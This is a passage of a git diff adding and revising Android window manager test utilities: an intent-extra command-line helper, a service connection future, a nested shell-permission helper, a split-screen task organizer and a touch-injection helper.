+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.text.TextUtils;
+
+/**
+ * A class to represent an {@link android.content.Intent} extra that can be passed as a command line
+ * parameter. More options can be added as needed. Supported parameters are as follows
+ *
+ * <ol>
+ *     <li>String</li>
+ *     <li>boolean</li>
+ * </ol>
+ */
+public final class CliIntentExtra {
+    private final String mOption;
+    private final String mKey;
+    private final String mValue;
+
+    private CliIntentExtra(String option, String key, String value) {
+        if (TextUtils.isEmpty(option)) {
+            throw new IllegalArgumentException("Option must not be empty");
+        }
+        if (TextUtils.isEmpty(key)) {
+            throw new IllegalArgumentException("Key must not be empty");
+        }
+        if (TextUtils.isEmpty(value)) {
+            throw new IllegalArgumentException("Value must not be empty");
+        }
+        mOption = option;
+        mKey = key;
+        mValue = value;
+    }
+
+    /**
+     * Returns the option to be used when creating the command line option. The option is provided
+     * in the constructor.
+     *
+     * @return {@link String} representing the option for the command line.
+     */
+    String option() {
+        return mOption;
+    }
+
+    /**
+     * Returns the key for the key-value pair that will be passed as an intent extra
+     *
+     * @return {@link String} representing the key for the {@link android.content.Intent} extra
+     */
+    String key() {
+        return mKey;
+    }
+
+    /**
+     * Returns the value for the key-value pair that will be passed as an
+     * {@link android.content.Intent} extra.  All values are normalized to a {@link String} so they
+     * can be passed as a command line argument.
+     *
+     * @return {@link String} representing the parsed value for the key-value pair
+     */
+    String value() {
+        return mValue;
+    }
+
+    /**
+     * Appends the command line option and arguments to the command line command. The option, key,
+     * and value are appended separated by a space.
+     *
+     * @param sb {@link StringBuilder} representing the command
+     */
+    void appendTo(StringBuilder sb) {
+        sb.append(" ").append(option()).append(" ").append(key()).append(" ").append(value());
+    }
+
+    /**
+     * Creates a {@link CliIntentExtra} for {@link String} intent extra.
+     *
+     * @param key the key in the key-value pair passed into the {@link android.content.Intent} extra
+     * @param value the value in the key-value pair pased into the {@link android.content.Intent}
+     *              extra
+     * @return {@link CliIntentExtra} to construct a command with the key value pair as parameters
+     * for an {@link android.content.Intent}
+     */
+    public static CliIntentExtra extraString(String key, String value) {
+        return new CliIntentExtra("--es", key, value);
+    }
+
+    /**
+     * Creates a {@link CliIntentExtra} for {@link Boolean} intent extra.
+     *
+     * @param key the key in the key-value pair passed into the {@link android.content.Intent} extra
+     * @param value the value in the key-value pair pased into the {@link android.content.Intent}
+     *              extra
+     * @return {@link CliIntentExtra} to construct a command with the key value pair as parameters
+     * for an {@link android.content.Intent}
+     */
+    public static CliIntentExtra extraBool(String key, boolean value) {
+        return new CliIntentExtra("--ez", key, Boolean.toString(value));
+    }
+
+    /**
+     * Creates a {@link CliIntentExtra} for {@link Integer} intent extra.
+     *
+     * @param key the key in the key-value pair passed into the {@link android.content.Intent} extra
+     * @param value the value in the key-value pair pased into the {@link android.content.Intent}
+     *              extra
+     * @return {@link CliIntentExtra} to construct a command with the key value pair as parameters
+     * for an {@link android.content.Intent}
+     */
+    public static CliIntentExtra extraInt(String key, int value) {
+        return new CliIntentExtra("--ei", key, Integer.toString(value));
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/FutureConnection.java b/tests/framework/base/windowmanager/util/src/android/server/wm/FutureConnection.java
new file mode 100644
index 0000000..cfe1254
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/FutureConnection.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.content.ComponentName;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.os.IInterface;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
+
+import javax.annotation.Nullable;
+
+public class FutureConnection<T extends IInterface> implements ServiceConnection {
+    private static final String TAG = "FutureServiceConnection";
+
+    private final Function<IBinder, T> mConverter;
+    private volatile CompletableFuture<IBinder> mFuture = new CompletableFuture<>();
+
+    public FutureConnection(Function<IBinder, T> converter) {
+        mConverter = converter;
+    }
+
+    public T get(long timeoutMs) throws Exception {
+        return mConverter.apply(mFuture.get(timeoutMs, TimeUnit.MILLISECONDS));
+    }
+
+    @Nullable
+    public T getCurrent() {
+        return mConverter.apply(mFuture.getNow(null));
+    }
+
+    @Override
+    public void onServiceConnected(ComponentName name, IBinder service) {
+        mFuture.complete(service);
+    }
+
+    @Override
+    public void onServiceDisconnected(ComponentName name) {
+        Log.w(TAG, name.flattenToShortString() + " disconnected");
+        mFuture = new CompletableFuture<>();
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/NestedShellPermission.java b/tests/framework/base/windowmanager/util/src/android/server/wm/NestedShellPermission.java
new file mode 100644
index 0000000..860099d
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/NestedShellPermission.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.app.UiAutomation;
+
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * Helper to run code that might end up with nested permission requirements (eg. TaskOrganizer).
+ */
+public class NestedShellPermission {
+    private static NestedShellPermission sInstance;
+
+    private int mPermissionDepth = 0;
+
+    private NestedShellPermission() {}
+
+    synchronized private static NestedShellPermission getInstance() {
+        if (sInstance == null) {
+            sInstance = new NestedShellPermission();
+        }
+        return sInstance;
+    }
+
+    /**
+     * Similar to SystemUtil.runWithShellPermissionIdentity except it supports nesting. Use this
+     * with anything that interacts with TestTaskOrganizer since async operations are common.
+     */
+    public static void run(Runnable action) {
+        final NestedShellPermission self = getInstance();
+        final UiAutomation automan =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        synchronized (self) {
+            if (0 == self.mPermissionDepth++) {
+                automan.adoptShellPermissionIdentity();
+            }
+        }
+        try {
+            action.run();
+        } finally {
+            synchronized (self) {
+                if (0 == --self.mPermissionDepth) {
+                    automan.dropShellPermissionIdentity();
+                }
+            }
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ProtoExtractors.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ProtoExtractors.java
index ff47a7e..1f15ea3 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ProtoExtractors.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ProtoExtractors.java
@@ -53,6 +53,8 @@
             return config;
         }
         config.setAppBounds(extract(proto.appBounds));
+        config.setBounds(extract(proto.bounds));
+        config.setMaxBounds(extract(proto.maxBounds));
         config.setWindowingMode(proto.windowingMode);
         config.setActivityType(proto.activityType);
         return config;
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
index 9df1fc8..af133d7 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
@@ -16,166 +16,374 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import android.app.ActivityManager;
-import android.view.Display;
+import android.content.Context;
+import android.graphics.Rect;
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.SystemClock;
+import android.util.ArraySet;
+import android.util.Log;
+import android.view.Surface;
 import android.view.SurfaceControl;
+import android.view.WindowManager;
+import android.window.TaskAppearedInfo;
 import android.window.TaskOrganizer;
+import android.window.WindowContainerToken;
 import android.window.WindowContainerTransaction;
 
 import androidx.annotation.NonNull;
 
-import java.util.ArrayList;
+import org.junit.Assert;
+
 import java.util.HashMap;
 import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
 
 class TestTaskOrganizer extends TaskOrganizer {
+    private static final String TAG = TestTaskOrganizer.class.getSimpleName();
+    public static final int INVALID_TASK_ID = -1;
 
     private boolean mRegistered;
-    final HashMap<Integer, ActivityManager.RunningTaskInfo> mKnownTasks = new HashMap<>();
     private ActivityManager.RunningTaskInfo mRootPrimary;
-    private boolean mRootPrimaryHasChild;
     private ActivityManager.RunningTaskInfo mRootSecondary;
+    private IBinder mPrimaryCookie;
+    private IBinder mSecondaryCookie;
+    private final HashMap<Integer, ActivityManager.RunningTaskInfo> mKnownTasks = new HashMap<>();
+    private final ArraySet<Integer> mPrimaryChildrenTaskIds = new ArraySet<>();
+    private final ArraySet<Integer> mSecondaryChildrenTaskIds = new ArraySet<>();
+    private final Rect mPrimaryBounds = new Rect();
+    private final Rect mSecondaryBounds = new Rect();
+    private final Context mDisplayContext;
+
+    private static final int[] CONTROLLED_ACTIVITY_TYPES = {
+            ACTIVITY_TYPE_STANDARD,
+            ACTIVITY_TYPE_HOME,
+            ACTIVITY_TYPE_RECENTS,
+            ACTIVITY_TYPE_UNDEFINED
+    };
+    private static final int[] CONTROLLED_WINDOWING_MODES = {
+            WINDOWING_MODE_FULLSCREEN,
+            WINDOWING_MODE_MULTI_WINDOW,
+            WINDOWING_MODE_UNDEFINED
+    };
+
+    TestTaskOrganizer(Context displayContext) {
+        super();
+        mDisplayContext = displayContext;
+    }
+
+    @Override
+    public List<TaskAppearedInfo> registerOrganizer() {
+        Rect bounds = mDisplayContext.getSystemService(WindowManager.class)
+                .getCurrentWindowMetrics()
+                .getBounds();
+        final boolean isLandscape = bounds.width() > bounds.height();
+        if (isLandscape) {
+            bounds.splitVertically(mPrimaryBounds, mSecondaryBounds);
+        } else {
+            bounds.splitHorizontally(mPrimaryBounds, mSecondaryBounds);
+        }
+
+        synchronized (this) {
+            final List<TaskAppearedInfo> taskInfos = super.registerOrganizer();
+            for (int i = 0; i < taskInfos.size(); i++) {
+                final TaskAppearedInfo info = taskInfos.get(i);
+                onTaskAppeared(info.getTaskInfo(), info.getLeash());
+            }
+            createRootTasksIfNeeded();
+            return taskInfos;
+        }
+    }
+
+    private void createRootTasksIfNeeded() {
+        synchronized (this) {
+            if (mPrimaryCookie != null) return;
+            mPrimaryCookie = new Binder();
+            mSecondaryCookie = new Binder();
+
+            createRootTask(DEFAULT_DISPLAY, WINDOWING_MODE_MULTI_WINDOW, mPrimaryCookie);
+            createRootTask(DEFAULT_DISPLAY, WINDOWING_MODE_MULTI_WINDOW, mSecondaryCookie);
+
+            waitForAndAssert(o -> mRootPrimary != null && mRootSecondary != null,
+                    "Failed to get root tasks");
+            Log.e(TAG, "createRootTasksIfNeeded primary=" + mRootPrimary.taskId
+                    + " secondary=" + mRootSecondary.taskId);
+
+            // Set the roots as adjacent to each other.
+            final WindowContainerTransaction wct = new WindowContainerTransaction();
+            wct.setAdjacentRoots(mRootPrimary.getToken(), mRootSecondary.getToken());
+            applyTransaction(wct);
+        }
+    }
+
+    private void waitForAndAssert(Predicate<Object> condition, String failureMessage) {
+        waitFor(condition);
+        if (!condition.test(this)) {
+            Assert.fail(failureMessage);
+        }
+    }
+
+    private void waitFor(Predicate<Object> condition) {
+        final long waitTillTime = SystemClock.elapsedRealtime() + TimeUnit.SECONDS.toMillis(5);
+        while (!condition.test(this)
+                && SystemClock.elapsedRealtime() < waitTillTime) {
+            try {
+                wait(TimeUnit.SECONDS.toMillis(5));
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
 
     private void registerOrganizerIfNeeded() {
         if (mRegistered) return;
 
-        registerOrganizer(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-        registerOrganizer(WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        registerOrganizer();
         mRegistered = true;
     }
 
     void unregisterOrganizerIfNeeded() {
-        if (!mRegistered) return;
-        mRegistered = false;
+        synchronized (this) {
+            if (!mRegistered) return;
+            mRegistered = false;
 
-        dismissedSplitScreen();
-        super.unregisterOrganizer();
+            NestedShellPermission.run(() -> {
+                dismissedSplitScreen();
+
+                deleteRootTask(mRootPrimary.getToken());
+                mRootPrimary = null;
+                mPrimaryCookie = null;
+                mPrimaryChildrenTaskIds.clear();
+                deleteRootTask(mRootSecondary.getToken());
+                mRootSecondary = null;
+                mSecondaryCookie = null;
+                mSecondaryChildrenTaskIds.clear();
+
+                super.unregisterOrganizer();
+            });
+        }
     }
 
     void putTaskInSplitPrimary(int taskId) {
-        registerOrganizerIfNeeded();
-        ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
-        final WindowContainerTransaction t = new WindowContainerTransaction();
-        t.setBounds(taskInfo.getToken(), null);
-        t.reparent(taskInfo.getToken(), mRootPrimary.getToken(), true /* onTop */);
-        t.reorder(mRootPrimary.getToken(), true /* onTop */);
-        applyTransaction(t);
+        NestedShellPermission.run(() -> {
+            synchronized (this) {
+                registerOrganizerIfNeeded();
+                ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setBounds(mRootPrimary.getToken(), mPrimaryBounds)
+                        .setBounds(taskInfo.getToken(), null)
+                        .setWindowingMode(taskInfo.getToken(), WINDOWING_MODE_UNDEFINED)
+                        .reparent(taskInfo.getToken(), mRootPrimary.getToken(), true /* onTop */)
+                        .reorder(mRootPrimary.getToken(), true /* onTop */);
+                applyTransaction(t);
+
+                waitForAndAssert(
+                        o -> mPrimaryChildrenTaskIds.contains(taskId),
+                        "Can't put putTaskInSplitPrimary taskId=" + taskId);
+
+                Log.e(TAG, "putTaskInSplitPrimary taskId=" + taskId);
+            }
+        });
+    }
+
+    void putTaskInSplitSecondary(int taskId) {
+        NestedShellPermission.run(() -> {
+            synchronized (this) {
+                registerOrganizerIfNeeded();
+                ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setBounds(mRootSecondary.getToken(), mSecondaryBounds)
+                        .setBounds(taskInfo.getToken(), null)
+                        .setWindowingMode(taskInfo.getToken(), WINDOWING_MODE_UNDEFINED)
+                        .reparent(taskInfo.getToken(), mRootSecondary.getToken(), true /* onTop */)
+                        .reorder(mRootSecondary.getToken(), true /* onTop */);
+                applyTransaction(t);
+
+                waitForAndAssert(
+                        o -> mSecondaryChildrenTaskIds.contains(taskId),
+                        "Can't put putTaskInSplitSecondary taskId=" + taskId);
+
+                Log.e(TAG, "putTaskInSplitSecondary taskId=" + taskId);
+            }
+        });
+    }
+
+    void setLaunchRoot(int taskId) {
+        NestedShellPermission.run(() -> {
+            synchronized (this) {
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setLaunchRoot(mKnownTasks.get(taskId).getToken(),
+                                CONTROLLED_WINDOWING_MODES, CONTROLLED_ACTIVITY_TYPES);
+                applyTransaction(t);
+            }
+        });
     }
 
     void dismissedSplitScreen() {
-        // Re-set default launch root.
-        TaskOrganizer.setLaunchRoot(Display.DEFAULT_DISPLAY, null);
-
-        // Re-parent everything back to the display from the splits so that things are as they were.
-        final List<ActivityManager.RunningTaskInfo> children = new ArrayList<>();
-        final List<ActivityManager.RunningTaskInfo> primaryChildren =
-                getChildTasks(mRootPrimary.getToken(), null /* activityTypes */);
-        if (primaryChildren != null && !primaryChildren.isEmpty()) {
-            children.addAll(primaryChildren);
+        synchronized (this) {
+            NestedShellPermission.run(() -> {
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setLaunchRoot(
+                                mRootPrimary.getToken(),
+                                null,
+                                null)
+                        .setLaunchRoot(
+                                mRootSecondary.getToken(),
+                                null,
+                                null)
+                        .reparentTasks(
+                                mRootPrimary.getToken(),
+                                null /* newParent */,
+                                CONTROLLED_WINDOWING_MODES,
+                                CONTROLLED_ACTIVITY_TYPES,
+                                true /* onTop */)
+                        .reparentTasks(
+                                mRootSecondary.getToken(),
+                                null /* newParent */,
+                                CONTROLLED_WINDOWING_MODES,
+                                CONTROLLED_ACTIVITY_TYPES,
+                                true /* onTop */);
+                applyTransaction(t);
+            });
         }
-        final List<ActivityManager.RunningTaskInfo> secondaryChildren =
-                getChildTasks(mRootSecondary.getToken(), null /* activityTypes */);
-        if (secondaryChildren != null && !secondaryChildren.isEmpty()) {
-            children.addAll(secondaryChildren);
-        }
-        if (children.isEmpty()) {
-            return;
-        }
-
-        final WindowContainerTransaction t = new WindowContainerTransaction();
-        for (ActivityManager.RunningTaskInfo task : children) {
-            t.reparent(task.getToken(), null /* parent */, true /* onTop */);
-        }
-        applyTransaction(t);
     }
 
-    /** Also completes the process of entering split mode. */
-    private void processRootPrimaryTaskInfoChanged() {
-        List<ActivityManager.RunningTaskInfo> children =
-                getChildTasks(mRootPrimary.getToken(), null /* activityTypes */);
-        final boolean hasChild = !children.isEmpty();
-        if (mRootPrimaryHasChild == hasChild) return;
-        mRootPrimaryHasChild = hasChild;
-        if (!hasChild) return;
+    void setRootPrimaryTaskBounds(Rect bounds) {
+        setTaskBounds(mRootPrimary.getToken(), bounds);
+    }
 
-        // Finish entering split-screen mode
+    void setRootSecondaryTaskBounds(Rect bounds) {
+        setTaskBounds(mRootSecondary.getToken(), bounds);
+    }
 
-        // Set launch root for the default display to secondary...for no good reason...
-        setLaunchRoot(DEFAULT_DISPLAY, mRootSecondary.getToken());
+    private void setTaskBounds(WindowContainerToken container, Rect bounds) {
+        synchronized (this) {
+            NestedShellPermission.run(() -> {
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setBounds(container, bounds);
+                applyTransaction(t);
+            });
+        }
+    }
 
-        List<ActivityManager.RunningTaskInfo> rootTasks =
-                getRootTasks(DEFAULT_DISPLAY, null /* activityTypes */);
-        if (rootTasks.isEmpty()) return;
-        // Move all root fullscreen task to secondary split.
-        final WindowContainerTransaction t = new WindowContainerTransaction();
-        for (int i = rootTasks.size() - 1; i >= 0; --i) {
-            final ActivityManager.RunningTaskInfo task = rootTasks.get(i);
-            if (task.getConfiguration().windowConfiguration.getWindowingMode()
-                    == WINDOWING_MODE_FULLSCREEN) {
-                t.reparent(task.getToken(), mRootSecondary.getToken(), true /* onTop */);
+    int getPrimarySplitTaskCount() {
+        return mPrimaryChildrenTaskIds.size();
+    }
+
+    int getSecondarySplitTaskCount() {
+        return mSecondaryChildrenTaskIds.size();
+    }
+
+    int getPrimarySplitTaskId() {
+        return mRootPrimary != null ? mRootPrimary.taskId : INVALID_TASK_ID;
+    }
+
+    int getSecondarySplitTaskId() {
+        return mRootSecondary != null ? mRootSecondary.taskId : INVALID_TASK_ID;
+    }
+
+    ActivityManager.RunningTaskInfo getTaskInfo(int taskId) {
+        synchronized (this) {
+            ActivityManager.RunningTaskInfo taskInfo = mKnownTasks.get(taskId);
+            if (taskInfo != null) return taskInfo;
+
+            final List<ActivityManager.RunningTaskInfo> rootTasks = getRootTasks(DEFAULT_DISPLAY,
+                    null);
+            for (ActivityManager.RunningTaskInfo info : rootTasks) {
+                addTask(info);
             }
+
+            return mKnownTasks.get(taskId);
         }
-        // Move the secondary split-forward.
-        t.reorder(mRootSecondary.getToken(), true /* onTop */);
-        applyTransaction(t);
-    }
-
-    private ActivityManager.RunningTaskInfo getTaskInfo(int taskId) {
-        ActivityManager.RunningTaskInfo taskInfo = mKnownTasks.get(taskId);
-        if (taskInfo != null) return taskInfo;
-
-        final List<ActivityManager.RunningTaskInfo> rootTasks = getRootTasks(DEFAULT_DISPLAY, null);
-        for (ActivityManager.RunningTaskInfo info : rootTasks) {
-            addTask(info);
-        }
-
-        return mKnownTasks.get(taskId);
     }
 
     @Override
     public void onTaskAppeared(@NonNull ActivityManager.RunningTaskInfo taskInfo,
             SurfaceControl leash) {
-        addTask(taskInfo);
+        synchronized (this) {
+            SurfaceControl.Transaction t = new SurfaceControl.Transaction();
+            t.setVisibility(leash, true /* visible */);
+            NestedShellPermission.run(() -> addTask(taskInfo, leash, t));
+            t.apply();
+        }
     }
 
     @Override
     public void onTaskVanished(@NonNull ActivityManager.RunningTaskInfo taskInfo) {
-        removeTask(taskInfo);
+        synchronized (this) {
+            removeTask(taskInfo);
+        }
     }
 
     @Override
     public void onTaskInfoChanged(ActivityManager.RunningTaskInfo taskInfo) {
-        addTask(taskInfo);
+        synchronized (this) {
+            NestedShellPermission.run(() -> addTask(taskInfo));
+        }
     }
 
     private void addTask(ActivityManager.RunningTaskInfo taskInfo) {
-        mKnownTasks.put(taskInfo.taskId, taskInfo);
+        addTask(taskInfo, null /* SurfaceControl */, null /* Transaction */);
+    }
 
-        final int windowingMode =
-                taskInfo.getConfiguration().windowConfiguration.getWindowingMode();
-        if (windowingMode == WINDOWING_MODE_SPLIT_SCREEN_PRIMARY
-                && (mRootPrimary == null || mRootPrimary.taskId == taskInfo.taskId)) {
-            mRootPrimary = taskInfo;
-            processRootPrimaryTaskInfoChanged();
+    private void addTask(ActivityManager.RunningTaskInfo taskInfo, SurfaceControl leash,
+            SurfaceControl.Transaction t) {
+        mKnownTasks.put(taskInfo.taskId, taskInfo);
+        notifyAll();
+        if (taskInfo.hasParentTask()){
+            if (mRootPrimary != null
+                    && mRootPrimary.taskId == taskInfo.getParentTaskId()) {
+                mPrimaryChildrenTaskIds.add(taskInfo.taskId);
+            } else if (mRootSecondary != null
+                    && mRootSecondary.taskId == taskInfo.getParentTaskId()) {
+                mSecondaryChildrenTaskIds.add(taskInfo.taskId);
+            }
+            return;
         }
 
-        if (windowingMode == WINDOWING_MODE_SPLIT_SCREEN_SECONDARY
-                && (mRootSecondary == null || mRootSecondary.taskId == taskInfo.taskId)) {
+        if (mRootPrimary == null
+                && mPrimaryCookie != null
+                && taskInfo.containsLaunchCookie(mPrimaryCookie)) {
+            mRootPrimary = taskInfo;
+            if (t != null && leash != null) {
+                t.setGeometry(leash, null, mPrimaryBounds, Surface.ROTATION_0);
+            }
+            return;
+        }
+
+        if (mRootSecondary == null
+                && mSecondaryCookie != null
+                && taskInfo.containsLaunchCookie(mSecondaryCookie)) {
             mRootSecondary = taskInfo;
+            if (t != null && leash != null) {
+                t.setGeometry(leash, null, mSecondaryBounds, Surface.ROTATION_0);
+            }
         }
     }
 
     private void removeTask(ActivityManager.RunningTaskInfo taskInfo) {
         final int taskId = taskInfo.taskId;
         // ignores cleanup on duplicated removal request
-        if (mKnownTasks.remove(taskId) != null) {
-            if (mRootPrimary != null && taskId == mRootPrimary.taskId) mRootPrimary = null;
-            if (mRootSecondary != null && taskId == mRootSecondary.taskId) mRootSecondary = null;
+        if (mKnownTasks.remove(taskId) == null) {
+            return;
+        }
+        mPrimaryChildrenTaskIds.remove(taskId);
+        mSecondaryChildrenTaskIds.remove(taskId);
+
+        if ((mRootPrimary != null && taskId == mRootPrimary.taskId)
+                || (mRootSecondary != null && taskId == mRootSecondary.taskId)) {
+            unregisterOrganizerIfNeeded();
         }
     }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
new file mode 100644
index 0000000..98183d4
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.StateLogger.log;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.graphics.Rect;
+import android.os.SystemClock;
+import android.view.InputDevice;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewConfiguration;
+
+public class TouchHelper {
+    public final Context mContext;
+    public final Instrumentation mInstrumentation;
+    public final WindowManagerStateHelper mWmState;
+
+    public TouchHelper(Instrumentation instrumentation, WindowManagerStateHelper wmState) {
+        mInstrumentation = instrumentation;
+        mContext = mInstrumentation.getContext();
+        mWmState = wmState;
+    }
+
+    /**
+     * Insert an input event (ACTION_DOWN -> ACTION_CANCEL) to ensures the display to be focused
+     * without triggering potential clicked to impact the test environment.
+     * (e.g: Keyguard credential activated unexpectedly.)
+     *
+     * @param displayId the display ID to gain focused by inject swipe action
+     */
+    public void touchAndCancelOnDisplayCenterSync(int displayId) {
+        WindowManagerState.DisplayContent dc = mWmState.getDisplay(displayId);
+        if (dc == null) {
+            // never get wm state before?
+            mWmState.computeState();
+            dc = mWmState.getDisplay(displayId);
+        }
+        if (dc == null) {
+            log("Cannot tap on display: " + displayId);
+            return;
+        }
+        final Rect bounds = dc.getDisplayRect();
+        final int x = bounds.left + bounds.width() / 2;
+        final int y = bounds.top + bounds.height() / 2;
+        final long downTime = SystemClock.uptimeMillis();
+        injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y, displayId, true /* sync */);
+
+        final long eventTime = SystemClock.uptimeMillis();
+        final int touchSlop = ViewConfiguration.get(mContext).getScaledTouchSlop();
+        final int tapX = x + Math.round(touchSlop / 2.0f);
+        final int tapY = y + Math.round(touchSlop / 2.0f);
+        injectMotion(downTime, eventTime, MotionEvent.ACTION_CANCEL, tapX, tapY, displayId,
+                true /* sync */);
+    }
+
+    public void tapOnDisplaySync(int x, int y, int displayId) {
+        tapOnDisplay(x, y, displayId, true /* sync*/);
+    }
+
+    public void tapOnDisplay(int x, int y, int displayId, boolean sync) {
+        tapOnDisplay(x, y, displayId, sync, /* waitAnimations */ true);
+    }
+
+    public void tapOnDisplay(int x, int y, int displayId, boolean sync, boolean waitAnimations) {
+        final long downTime = SystemClock.uptimeMillis();
+        injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y, displayId, sync,
+                waitAnimations);
+
+        final long upTime = SystemClock.uptimeMillis();
+        injectMotion(downTime, upTime, MotionEvent.ACTION_UP, x, y, displayId, sync,
+                waitAnimations);
+
+        if (waitAnimations) {
+            mWmState.waitForWithAmState(state -> state.getFocusedDisplayId() == displayId,
+                    "top focused displayId: " + displayId);
+        }
+        // This is needed after a tap in multi-display to ensure that the display focus has really
+        // changed, if needed. The call to syncInputTransaction will wait until focus change has
+        // propagated from WMS to native input before returning.
+        mInstrumentation.getUiAutomation().syncInputTransactions(waitAnimations);
+    }
+
+    public void tapOnCenter(Rect bounds, int displayId) {
+        final int tapX = bounds.left + bounds.width() / 2;
+        final int tapY = bounds.top + bounds.height() / 2;
+        tapOnDisplaySync(tapX, tapY, displayId);
+    }
+
+    public void tapOnViewCenter(View view) {
+        tapOnViewCenter(view, true /* waitAnimations */);
+    }
+
+    public void tapOnViewCenter(View view, boolean waitAnimations) {
+        final int[] topleft = new int[2];
+        view.getLocationOnScreen(topleft);
+        int x = topleft[0] + view.getWidth() / 2;
+        int y = topleft[1] + view.getHeight() / 2;
+        tapOnDisplay(x, y, view.getDisplay().getDisplayId(), true /* sync */, waitAnimations);
+    }
+
+    public void tapOnStackCenter(WindowManagerState.ActivityTask stack) {
+        tapOnCenter(stack.getBounds(), stack.mDisplayId);
+    }
+
+    public void tapOnDisplayCenter(int displayId) {
+        final Rect bounds = mWmState.getDisplay(displayId).getDisplayRect();
+        tapOnDisplaySync(bounds.centerX(), bounds.centerY(), displayId);
+    }
+
+    public void tapOnDisplayCenterAsync(int displayId) {
+        final Rect bounds = mWmState.getDisplay(displayId).getDisplayRect();
+        tapOnDisplay(bounds.centerX(), bounds.centerY(), displayId, false /* sync */);
+    }
+
+    public static void injectMotion(long downTime, long eventTime, int action,
+            int x, int y, int displayId, boolean sync) {
+        injectMotion(downTime, eventTime, action, x, y, displayId, sync,
+                true /* waitForAnimations */);
+    }
+
+    public static void injectMotion(long downTime, long eventTime, int action,
+            int x, int y, int displayId, boolean sync, boolean waitAnimations) {
+        final MotionEvent event = MotionEvent.obtain(downTime, eventTime, action,
+                x, y, 0 /* metaState */);
